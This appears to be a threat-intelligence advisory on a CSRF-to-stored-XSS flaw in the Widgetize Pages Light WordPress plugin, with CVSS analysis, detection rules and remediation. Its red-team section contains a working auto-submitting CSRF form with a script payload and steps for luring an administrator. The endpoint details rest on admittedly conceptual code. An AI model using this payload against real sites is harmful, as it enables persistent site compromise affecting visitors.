CVE-2025-30995

Executive Summary

CVE-2025-30995 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Widgetize Pages Light (widgetize-pages-light) by OTWthemes, affecting versions through 3.0. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, leading to Stored Cross-Site Scripting (XSS). This means an attacker can trick a logged-in admin into executing malicious requests that inject persistent JavaScript into the site, potentially compromising all visitors.

The CVSS score is 7.1 (High), with a low EPSS score (0.0%) indicating low exploitation likelihood currently, but the lack of a patch makes this a significant supply chain risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, users must consider removing the plugin entirely. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a link or visit a malicious page.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to the combination of CSRF and Stored XSS, which can lead to persistent compromise of the WordPress site.

Deep Dive & Mechanics

The vulnerability resides in the Widgetize Pages Light plugin, which allows users to create and manage widgetized page areas. The plugin fails to implement proper CSRF tokens on administrative actions (e.g., saving widget settings, adding new widgets). An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress admin, submits a forged request to the plugin’s admin-ajax.php or admin-post.php endpoints.

Because the request is made with the admin’s session cookies, the server processes it as legitimate. The attacker can inject malicious JavaScript into widget settings (e.g., widget title, content, or custom CSS fields). This injected script is then stored in the WordPress database and executed every time a page containing that widget is loaded, affecting all visitors.

Attack Flow:

1. Attacker identifies a WordPress site using Widgetize Pages Light <= 3.0.
2. Attacker crafts a CSRF payload that sends a POST request to /wp-admin/admin-ajax.php?action=widgetize_pages_light_save with malicious JavaScript in a widget field.
3. Attacker lures an authenticated admin to visit a page containing the CSRF payload (e.g., via email, forum post).
4. The admin’s browser executes the request, saving the malicious widget.
5. All visitors to pages using that widget execute the stored XSS payload.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The plugin likely uses functions like wp_ajax_* or admin_post_* without nonce verification.

Vulnerable Code (Conceptual):

add_action('wp_ajax_widgetize_pages_light_save', 'widgetize_pages_light_save_callback');
function widgetize_pages_light_save_callback() {
    // No nonce check
    $widget_data = $_POST['widget_data'];
    update_option('widgetize_pages_light_data', $widget_data);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_widgetize_pages_light_save', 'widgetize_pages_light_save_callback');
function widgetize_pages_light_save_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'widgetize_pages_light_save_nonce')) {
        wp_die('CSRF detected');
    }
    $widget_data = sanitize_text_field($_POST['widget_data']);
    update_option('widgetize_pages_light_data', $widget_data);
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Widgetize Pages Light <= 3.0 installed and activated.
• An authenticated admin user (victim).
• A web server to host the CSRF payload.

Step 1: Craft the CSRF Payload Create an HTML file (e.g., csrf_exploit.html) with the following content. This payload will inject a JavaScript alert as a proof-of-concept.

<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="widgetize_pages_light_save">
    <input type="hidden" name="widget_data" value='{"title":"<script>alert(\"XSS\")</script>"}'>
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Step 2: Host and Deliver Host the file on an attacker-controlled server. Send the link to the victim admin via email or social engineering.

Step 3: Verify Once the admin visits the link, the CSRF request is sent. The stored XSS will execute on any page displaying the widget.

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=widgetize_pages_light_save from unexpected referrers.
• Look for sudden changes to widget settings in the WordPress database (e.g., wp_options table with widgetize_pages_light_data).
• Use web application firewalls (WAF) to block requests missing a valid nonce.

Hunting:

• Search for <script> tags in widget content fields.
• Review server logs for CSRF-like patterns (e.g., multiple requests from the same IP to admin-ajax.php without a valid referrer).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=widgetize_pages_light_save and no _wpnonce parameter.
  • Referrer header pointing to an external domain.
• Host:
  • Modified wp_options table entry widgetize_pages_light_data containing JavaScript.
  • Unexpected JavaScript in widget title, content, or custom CSS fields.
• File:
  • No specific file changes, as the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2025_30995_CSRF_XSS {
    meta:
        description = "Detects CSRF exploitation attempts against Widgetize Pages Light plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30995"
    strings:
        $csrf_action = "action=widgetize_pages_light_save"
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $csrf_action and $xss_payload
}

Sigma Rule

title: CVE-2025-30995 CSRF to Stored XSS in Widgetize Pages Light
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting Widgetize Pages Light plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=widgetize_pages_light_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-30995 CSRF to Stored XSS in Widgetize Pages Light"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=widgetize_pages_light_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Since no patch is available, deactivate and delete Widgetize Pages Light from all WordPress installations.
2. Audit for compromise – Check the wp_options table for malicious widget data and remove any injected scripts.
3. Change admin passwords – In case of session hijacking, rotate all admin credentials.

Long-term Mitigation:

• Implement a Web Application Firewall (WAF) with CSRF protection rules.
• Use WordPress security plugins that add nonce verification to all admin actions.
• Educate administrators about phishing attacks that deliver CSRF payloads.
• Monitor for updates from OTWthemes and apply patches immediately when released.

Valters IT Signature

Report generated by Valters IT Cyber Threat Intelligence Division. This analysis is based on publicly available information and should be used for defensive purposes only.